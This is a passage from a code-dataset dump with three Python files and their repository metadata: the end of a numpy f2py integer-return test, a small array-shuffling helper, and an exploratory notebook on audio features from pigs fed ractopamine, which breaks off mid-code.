end\n\n''','f77_ext_return_integer',f2py_opts,source_fn='f77_ret_int.f')\n\n    from f77_ext_return_integer import t0,t1,t2,t4,t8,s0,s1,s2,s4,s8\n    test_functions = [t0,t1,t2,t4,t8,s0,s1,s2,s4,s8]\n    return test_functions\n\ndef runtest(t):\n    import sys\n    assert t(123)==123,`t(123)`\n    assert t(123.6)==123\n    assert t(123l)==123\n    if sys.version[:3]<'2.3':\n        assert t(123.6+3j)==123\n    assert t('123')==123\n    assert t(-123)==-123\n    assert t([123])==123\n    assert t((123,))==123\n    assert t(array(123))==123\n    assert t(array([123]))==123\n    assert t(array([[123]]))==123\n    assert t(array([123],'b'))==123\n    assert t(array([123],'h'))==123\n    assert t(array([123],'i'))==123\n    assert t(array([123],'l'))==123\n    assert t(array([123],'B'))==123\n    assert t(array([123],'f'))==123\n    assert t(array([123],'d'))==123\n    if sys.version[:3]<'2.3':\n        assert t(array([123+3j],'F'))==123\n        assert t(array([123],'D'))==123\n\n\n    try: raise RuntimeError,`t(array([123],'c'))`\n    except ValueError: pass\n    try: raise RuntimeError,`t('abc')`\n    except ValueError: pass\n\n    try: raise RuntimeError,`t([])`\n    except IndexError: pass\n    try: raise RuntimeError,`t(())`\n    except IndexError: pass\n\n    try: raise RuntimeError,`t(t)`\n    except TypeError: pass\n    try: raise RuntimeError,`t({})`\n    except TypeError: pass\n\n    if t.__doc__.split()[0] in ['t8','s8']:\n        try: raise RuntimeError,`t(100000000000000000000000l)`\n        except OverflowError: pass\n        try: raise RuntimeError,`t(10000000011111111111111.23)`\n        except OverflowError: pass\n    else:\n        if sys.version[:3]<'2.3':\n            try: raise RuntimeError,`t(10000000000000l)`\n            except OverflowError: pass\n            try: raise RuntimeError,`t(10000000000.23)`\n            except OverflowError: pass\n\nif __name__=='__main__':\n    #import libwadpy\n    status = 1\n    try:\n        repeat,f2py_opts = f2py2e.f2py_testing.cmdline()\n        test_functions = build(f2py_opts)\n        f2py2e.f2py_testing.run(runtest,test_functions,repeat)\n        print 'ok'\n        status = 0\n    finally:\n        if status:\n            print '*'*20\n            print 'Running f2py2e.diagnose'\n            import numpy.f2py.diagnose as diagnose\n            #diagnose.run()\n", "meta": {"hexsha": "fe9e70fdafb5f585c3c007f958dcb22be5725602", "size": 3824, "ext": "py", "lang": "Python", "max_stars_repo_path": "numpy/f2py/tests/f77/return_integer.py", "max_stars_repo_name": "illume/numpy3k", "max_stars_repo_head_hexsha": "42171a679b0ef24932fe08fc88cce039abf6de2b", "max_stars_repo_licenses": ["BSD-3-Clause"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2020-07-03T12:00:29.000Z", "max_stars_repo_stars_event_max_datetime": "2021-04-18T06:54:30.000Z", "max_issues_repo_path": "numpy/f2py/tests/f77/return_integer.py", "max_issues_repo_name": "plaes/numpy", "max_issues_repo_head_hexsha": "209866bc55eee56e92692307c4437af024bae87d", "max_issues_repo_licenses": ["BSD-3-Clause"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "numpy/f2py/tests/f77/return_integer.py", "max_forks_repo_name": "plaes/numpy", "max_forks_repo_head_hexsha": "209866bc55eee56e92692307c4437af024bae87d", "max_forks_repo_licenses": ["BSD-3-Clause"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 25.8378378378, "max_line_length": 68, "alphanum_fraction": 0.5750523013, "include": true, "reason": "import numpy,from numpy", "num_tokens": 1126, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.10970577242256814, "lm_q1q2_score": 0.052711284507820075}}
{"text": "import numpy as np\n\n\ndef scramble_array(a: np.ndarray) -> None:\n    \"\"\"In-place scrambling of an array along first dimension.\"\"\"\n    # FIXME: This should actually use the Matousek-Affine-Owen scrambling algorithm\n    # Matousek, J. \u201cOn the L2-Discrepancy for Anchored Boxes.\u201d Journal of Complexity.\n    # Vol. 14, Number 4, 1998, pp. 527\u2013556.\n    # for now, use a Naive scrambling method\n    for i in range(a.shape[1]):\n        np.random.shuffle(a[:, i])\n", "meta": {"hexsha": "1eca4da4097b43dd638c4d8f0a54b80285b6cfc9", "size": 455, "ext": "py", "lang": "Python", "max_stars_repo_path": "src/autoks/distance/sampling/scramble.py", "max_stars_repo_name": "lschlessinger1/MS-project", "max_stars_repo_head_hexsha": "e1c02d1d1a7a2480ff6f14f30625dc42ee3417e3", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 2, "max_stars_repo_stars_event_min_datetime": "2019-04-29T15:18:11.000Z", "max_stars_repo_stars_event_max_datetime": "2019-12-13T18:58:40.000Z", "max_issues_repo_path": "src/autoks/distance/sampling/scramble.py", "max_issues_repo_name": "lschlessinger1/MS-project", "max_issues_repo_head_hexsha": "e1c02d1d1a7a2480ff6f14f30625dc42ee3417e3", "max_issues_repo_licenses": ["MIT"], "max_issues_count": 275, "max_issues_repo_issues_event_min_datetime": "2019-02-19T22:59:39.000Z", "max_issues_repo_issues_event_max_datetime": "2020-10-03T08:56:08.000Z", "max_forks_repo_path": "src/autoks/distance/sampling/scramble.py", "max_forks_repo_name": "lschlessinger1/MS-project", "max_forks_repo_head_hexsha": "e1c02d1d1a7a2480ff6f14f30625dc42ee3417e3", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 37.9166666667, "max_line_length": 85, "alphanum_fraction": 0.6791208791, "include": true, "reason": "import numpy", "num_tokens": 127, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.480478678047907, "lm_q2_score": 0.1097057636901528, "lm_q1q2_score": 0.052711280312080694}}
{"text": "# %% [markdown]\n# # Exporatory analysis of features extracted from swine audios\n# This dataset contains the means of the extracted features, for each audio\n# Many descriptions of features were taken from the following books:\n# - https://books.google.com/books?hl=en&lr=&id=AF30yR41GIAC&oi=fnd&pg=PP9&dq=Signal+Processing+Methods+for+Music+Transcription&ots=Ooq77iPfKD&sig=WFyZTyVVFtagCBGCRLWpV8rY-Tk  # noqa: E501\n\n# %% [markdown]\n# # Imports\n\n# %%\nimport matplotlib.pyplot as plt\nimport librosa as lr\nimport librosa.display as lrdisp\nimport numpy as np\nimport pandas as pd\nimport seaborn as sns\n\nFILE_PREFIX = 'kdd'\n\n# %% [markdown]\n# # Loading dataset\n\n# %%\ndf = pd.read_csv('features_means.csv', index_col=0, verbose=True)\ndf.index = pd.to_datetime(df.index)\ndf['rac'] = False\ndf.loc['2020-09-22':, 'rac'] = True  # type: ignore\n\n# %% [markdown]\n# ## Checking for and dropping duplicates\n\n# %%\n# Resetting index for duplicate analysis\ndf.reset_index(inplace=True)\nprint(\"Duplicates by filename:\",\n      df.duplicated(subset=['file_name']).value_counts(),\n      sep='\\n')\ndf.drop_duplicates(subset=['file_name'], inplace=True)\nprint(\"Duplicates by (datetime, ala, grupo):\",\n      df.duplicated(subset=['datetime', 'ala', 'grupo']).value_counts(),\n      sep='\\n')\ndf.drop_duplicates(subset=['datetime', 'ala', 'grupo'], inplace=True)\n# Rebuilding dataframe index\ndf.set_index('datetime', inplace=True)\n\n# %%\nprint(df.shape)\n\n# %% [markdown]\n# ## Visualizing distribution of sample dates\n\n# %%\ndf_tmp = pd.DataFrame(df['file_name'].resample('1D').count())\ndf_tmp['count'] = df_tmp['file_name']\ndel df_tmp['file_name']\ndf_tmp['rac'] = False\ndf_tmp.loc['2020-09-22':, 'rac'] = True  # type: ignore\n\nfig = plt.figure(figsize=(10, 10))\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.barplot(y=df_tmp.index, x=df_tmp['count'], hue=df_tmp['rac'])\nfig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_files_byday.png',\n            bbox_inches='tight',\n            transparent=True)\nplt.draw()\n\ndf_tmp = pd.DataFrame(df['file_name'].resample('1H').count())\ndf_tmp['count'] = df_tmp['file_name']\ndel df_tmp['file_name']\ndf_tmp['rac'] = False\ndf_tmp.loc['2020-09-22':, 'rac'] = True  # type: ignore\ndf_tmp = df_tmp.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\n\nfig = plt.figure(figsize=(10, 10))\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.barplot(y=df_tmp['hour'], x=df_tmp['count'], hue=df_tmp['rac'], orient='h')\nfig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_files_byhour.png',\n            bbox_inches='tight',\n            transparent=True)\nplt.draw()\n\n# %% [markdown]\n# There are some data gaps, especially in the pre-ractopamine subset.\n#\n# There needs to be a resampling to rebalance classes, prioritizing samples\n# that are closer to the start of the RAC provision.\n\n# %% [markdown]\n# ## Visualizing waveform and spectrogram of random sample\n\n# %%\nfile_name = np.random.choice(df['file_name'])\nx, sr = lr.load(file_name)\n\nfig, ax = plt.subplots(2, 1, sharex=False, sharey=False, figsize=(16, 9))\nlrdisp.waveplot(\n    x,\n    sr=sr,\n    ax=ax[0],\n)\nimg = lrdisp.specshow(lr.amplitude_to_db(np.abs(lr.stft(x)), ref=np.max),\n                      y_axis='log',\n                      x_axis='time',\n                      ax=ax[1])\nfig.colorbar(img, ax=ax[1], format=\"%+2.0f dB\")\nfig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_audio_sample.png',\n            bbox_inches='tight',\n            transparent=True)\nplt.draw()\n\n# %% [markdown]\n# # Visualizing basic dataset properties\n\n# %% [markdown]\n# ### Shape\n\n# %%\nprint(\"Shape:\", df.shape)\nprint(df.loc[:, 'rac'].groupby(df.loc[:, 'rac']).count())\nprint(df.info())\n\n# %% [markdown]\n# Due to the high amount of extracted features, there must be a selection\n# of the most relevant ones for further analysis with advanced methods\n# (e.g., SOM)\n\n# %% [markdown]\n# ### Class distribution\n\n# %%\ndf_melt = pd.melt(df, value_vars=['rac'], value_name='ractopamine')\nfig = plt.figure(figsize=(10, 10))\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nax = sns.countplot(data=df_melt, x='ractopamine', hue='ractopamine')\n\nfor p in ax.patches:\n    ax.annotate(f'\\n{p.get_height()}', (p.get_x() + 0.2, p.get_height()),\n                ha='center',\n                va='top',\n                color='white',\n                size=18)\nfig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_rac_distribution.png',\n            bbox_inches='tight',\n            transparent=True)\nplt.draw()\n\n# %% [markdown]\n# There's a substantial imbalance between the subsets.\n# It's not an obstacle for this analysis. However, for the next steps,\n# it may be desirable to perform an upsampling/downsampling on the dataset.\n\n# %% [markdown]\n# ### Zero Crossings\n# The Zero crossing rate (ZCR) measures the number of times that the time\n# domain signal changes its sign. Even though it is computed in the time\n# domain, it describes the amount of high-frequency energy in the signal\n# (i.e., 'brightness') and correlates strongly with the spectral centroid\n# ZCR has also proven to be quite discriminative for classes of percussion\n# instruments.\n\n# %%\nprint(df.loc[:, ['zero_crossing_rate', 'zero_crossings']].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=['zero_crossing_rate'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    kde=True,\n    rug=True,\n    row='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_zero_crossing_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['zero_crossing_rate'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    row='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_zero_crossing_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# The distribution of the zero crossing seems slightly different after the\n# ractopamine provision.\n#\n# As noted by Ricardo, this may be related to an increase in the animals'\n# vocal activity.\n\n# %% [markdown]\n# ### Spectrogram and Mel-Spectrogram\n# There exists only one Fourier transform of a given signal.\n# However, there is an infinite number of time-frequency representations.\n# The most popular one is the spectrogram, defined as the Fourier transform of\n# successive signal frames. Frames are widely used in audio processing\n# algorithms. They are portions of the signal with given time localizations.\n#\n# Standard window shapes are Gaussian, Hamming, Hanning, or rectangular and\n# typical frame durations are from 20 ms to 100 ms in audio processing. As a\n# rule of thumb, rectangular windows should not be used in practice, except\n# under special circumstances. From frames, it is easy to build short time\n# Fourier transforms (STFTs) as the FT of successive frames.\n#\n# Spectrograms are energy representations and they are defined as the squared\n# modulus of the STFT.\n#\n# The mel-spectrogram is an spectrogram, converted to the Mel scale\n\n# %%\nprint(df.loc[:, ['spectrogram', 'mel_spectrogram']].describe())\ndf_melt = pd.melt(df,\n                  id_vars=['rac'],\n                  value_vars=['spectrogram', 'mel_spectrogram'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectrogram_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['spectrogram', 'mel_spectrogram'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectrogram_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# No relevant differences in the distributions were observed.\n#\n# These features are discard candidates.\n#\n# Further analysis required with correlation heatmap.\n\n# %% [markdown]\n# ### Harmonics and Perceptual Shock Wave\n# Harmonics are characteristichs that represent the sound color\n# Perceptrual shock wave represents the sound rhythm and emotion\n\n# %%\nprint(df.loc[:, ['harmonics', 'perceptual_shock_wave']].describe())\ndf_melt = pd.melt(df,\n                  id_vars=['rac'],\n                  value_vars=['harmonics', 'perceptual_shock_wave'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_harmonics_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['harmonics', 'perceptual_shock_wave'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_harmonics_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# No relevant differences in the distributions were observed.\n#\n# These features are discard candidates.\n#\n# Further analysis required with correlation heatmap.\n\n# %% [markdown]\n# ### Spectral Centroids\n# In addition to the rough spectrum described by the MFCCs and bandwise\n# energy descriptors, more simple spectral shape features are also useful.\n# These include the first four moments of the spectrum, i.e.,\n# spectral centroid, spectralspread, spectral skewness, and spectral kurtosis.\n#\n# The spectral centroid is the \"center-of-mass\" of the analysed audio file.\n\n# %%\nprint(df.loc[:, ['spectral_centroids']].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_centroids'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_centroids_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['spectral_centroids'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_centroids_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# The distribution of the spectral centroids seems to have a displacement to\n# higher values, after the provision of ractopamine to the animals.\n#\n# This seems to suggest that the most intense peaks of audio were at higher\n# frequencies, with rac=True.\n\n# %% [markdown]\n# ### Spectral Centroids (Delta and Accelerate)\n\n# %%\n\nprint(df.loc[:, ['spectral_centroids_delta', 'spectral_centroids_accelerate']].\n      describe())\ndf_melt = pd.melt(\n    df,\n    id_vars=['rac'],\n    value_vars=['spectral_centroids_delta', 'spectral_centroids_accelerate'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(\n    f'./output_{FILE_PREFIX}/{FILE_PREFIX}'\n    '_spectral_centroids_derivatives_rac.png',\n    bbox_inches='tight',\n    transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(\n    df_tmp,\n    id_vars=['day_quarter'],\n    value_vars=['spectral_centroids_delta', 'spectral_centroids_accelerate'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(\n    f'./output_{FILE_PREFIX}/{FILE_PREFIX}'\n    '_spectral_centroids_derivatives_day.png',\n    bbox_inches='tight',\n    transparent=True)\n\n# %% [markdown]\n# No relevant differences in the distributions were observed.\n#\n# These features are discard candidates.\n#\n# Further analysis required with correlation heatmap.\n\n# %% [markdown]\n# ### Chroma features\n# The chroma vector is a perceptually motivated feature vector using the\n# concept of chroma in Shepard's helix representation of musical pitch\n# perception. According to Shepard [584], the perception of pitch with respect\n# to a musical context can be graphically represented by using a continually\n# cyclic helix that has two dimensions, chroma and height. Chroma refers to the\n# position of a musical pitch within an octave that corresponds to a cycle of\n# the helix.\n\n# %%\n\n# Visualizing single-file chromagram\nchroma = lr.feature.chroma_stft(y=x, sr=sr, n_chroma=12, n_fft=2048)\nfig, ax = plt.subplots(figsize=(16, 9))\nimg = lr.display.specshow(chroma, y_axis='chroma', x_axis='time', ax=ax)\nfig.colorbar(img, ax=ax)\nax.set(title='Chromagram')\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chromagram.png',\n            bbox_inches='tight',\n            transparent=True)\n\nchroma_cols = [\n    'chroma1',\n    'chroma2',\n    'chroma3',\n    'chroma4',\n    'chroma5',\n    'chroma6',\n    'chroma7',\n    'chroma8',\n    'chroma9',\n    'chroma10',\n    'chroma11',\n    'chroma12',\n]\nprint(df.loc[:, chroma_cols].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=chroma_cols)\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    row='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chroma_features_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# Chroma features may be very useful for distinguishing musical tones.\n# However, related research papers didn't seem to use it for pig audio\n# analysis. With this, they are discard candidates.\n#\n# Still, there were some interesting changes in distribution for chroma7,\n# chroma8, chroma9, chroma11, and chroma12, which should be further analyzed.\n\n# %%\nplt.figure(figsize=(12, 12))\nsns.heatmap(df.loc[:, chroma_cols + ['rac']].corr(),\n            vmin=-1.0,\n            vmax=1.0,\n            cmap=\"coolwarm\",\n            center=0.0,\n            robust=True,\n            annot=True,\n            fmt='.1f')\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_chroma_features_corr.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# As expected, the chroma features are highly correlated with their neighbors.\n#\n# When comparing to our class (rac), the hightest absolute correlation between\n# it and a chroma feature is 0.15 which is not very substantial.\n\n# %% [markdown]\n# ### Tempo (BMP)\n# Estimate mean of the tempo (beats per minute), as extracted by librosa.\n\n# %%\nprint(df.loc[:, ['tempo_bpm']].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=['tempo_bpm'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_tempo_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp, id_vars=['day_quarter'], value_vars=['tempo_bpm'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_tempo_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# This feature, similarly to the chroma features, is mostly used with music\n# analysis. No relevant differences in the distributions were observed.\n#\n# This feature is a discard candidate.\n#\n# Further analysis required with correlation heatmap.\n\n# %% [markdown]\n# ### Spectral Rolloff (85%)\n# Spectral roll-off is defined as the frequency index R below which a certain\n# fraction (85%) of the spectral energy resides.\n\n# %%\nprint(df.loc[:, ['spectral_rolloff']].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_rolloff'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_rolloff_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['spectral_rolloff'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_rolloff_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# A slight displacement can be seem between the two groups of files.\n# This could reinforce the hypothesis drawn from the spectral centroid\n# analysis, as the 85% threshold is at a higher frequency after RAC provision.\n\n# %% [markdown]\n# ### Spectral Flux\n# The spectral flux, also known as the delta spectrum magnitude, is a measure\n# of local spectral change. It is defined as the squared norm of the\n# frame-to-frame spectral difference.\n\n# %%\nprint(df.loc[:, ['spectral_flux']].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=['spectral_flux'])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_flux_rac.png',\n            bbox_inches='tight',\n            transparent=True)\n\ndf_tmp = df.reset_index()\ndf_tmp['hour'] = df_tmp['datetime'].dt.hour\ndf_tmp['day_quarter'] = df_tmp['hour'] // 6\ndf_melt = pd.melt(df_tmp,\n                  id_vars=['day_quarter'],\n                  value_vars=['spectral_flux'])\nsns.set(style=\"whitegrid\",\n        palette=sns.color_palette(\"muted\", n_colors=6, desat=1.0))\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='day_quarter',\n    palette='vlag',\n    kde=True,\n    rug=True,\n    col='variable',\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_flux_day.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# There has been no noticeable major changes in the distribution.\n# This suggests that the number of \"peaks\"/onsets is similar after the rac\n# provision.\n# This feature is a discard candidate.\n\n# %% [markdown]\n# ### Spectral Bandwidth\n# The bandwidth of the spectrum is described by spectral spread\n#\n# The spectral bandwidth 1 at frame t is computed by:\n#\n# (sum_k S[k, t] * (freq[k, t] - centroid[t])**p)**(1/p)\n\n# %%\nprint(df.loc[:, [\n    'spectral_bandwidth_2', 'spectral_bandwidth_3', 'spectral_bandwidth_4'\n]].describe())\ndf_melt = pd.melt(df,\n                  id_vars=['rac'],\n                  value_vars=[\n                      'spectral_bandwidth_2', 'spectral_bandwidth_3',\n                      'spectral_bandwidth_4'\n                  ])\nsns.displot(\n    data=df_melt,\n    x='value',\n    hue='rac',\n    col='variable',\n    kde=True,\n    rug=True,\n    height=9,\n    aspect=1,\n)\nplt.draw()\nplt.savefig(\n    f'./output_{FILE_PREFIX}/{FILE_PREFIX}_spectral_bandwidths_rac.png',\n    bbox_inches='tight',\n    transparent=True)\n\n# %% [markdown]\n# No relevant differences in the distributions were observed.\n#\n# These features are discard candidates.\n#\n# Further analysis required with correlation heatmap.\n\n# %% [markdown]\n# ### Correlation matrix of subset of features\n\n# %%\nplt.figure(figsize=(12, 12))\nsns.heatmap(df.loc[:, [\n    'zero_crossing_rate', 'spectrogram', 'mel_spectrogram', 'harmonics',\n    'perceptual_shock_wave', 'spectral_centroids', 'tempo_bpm',\n    'spectral_rolloff', 'spectral_flux', 'spectral_bandwidth_2',\n    'spectral_bandwidth_3', 'spectral_bandwidth_4', 'rac'\n]].corr(),\n            vmin=-1.0,\n            vmax=1.0,\n            cmap=\"coolwarm\",\n            center=0.0,\n            robust=True,\n            annot=True,\n            fmt='.1f')\nplt.draw()\nplt.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_corr.png',\n            bbox_inches='tight',\n            transparent=True)\n\n# %% [markdown]\n# The spectral centroids feature had the highest correlation with 'rac',\n# between the analyzed features.\n\n# %% [markdown]\n# ### MFCC\n# Mel-frequency cepstral coefficients (MFCCs) describe the rough shape of\n# the signal spectrum and are widely used in speech recognition [536].\n# Similarly, they are often encountered in percussion transcription algorithms.\n# Usually the coefficients are calculated in short (about 20 ms) partially\n# overlapping frames over the analysed segment, and 5 to 15 coefficients are\n# retained in each frame. Instead of using these directly as features,\n# typically the mean and variance of each coefficient over the segment are\n# used. In addition, the first- and second-order temporal differences of the\n# coefficients, and the means and variances of these, are commonly used as\n# features.\n\n# %%\n\n# Visualizing single-file mfccs\nmfccs = lr.feature.mfcc(y=x, sr=sr, n_mfcc=20)\nfig, ax = plt.subplots(figsize=(16, 9))\nimg = lr.display.specshow(mfccs, x_axis='time', ax=ax)\nfig.colorbar(img, ax=ax)\nax.set(title='MFCC')\nplt.draw()\nfig.savefig(f'./output_{FILE_PREFIX}/{FILE_PREFIX}_mfcc.png')\n\nmfcc_cols = [\n    'mfcc0',\n    'mfcc1',\n    'mfcc2',\n    'mfcc3',\n    'mfcc4',\n    'mfcc5',\n    'mfcc6',\n    'mfcc7',\n    'mfcc8',\n    'mfcc9',\n    'mfcc10',\n    'mfcc11',\n    'mfcc12',\n    'mfcc13',\n    'mfcc14',\n    'mfcc15',\n    'mfcc16',\n    'mfcc17',\n    'mfcc18',\n    'mfcc19',\n]\nprint(df.loc[:, mfcc_cols].describe())\ndf_melt = pd.melt(df, id_vars=['rac'], value_vars=mfcc_cols)\nsns.displot(\n    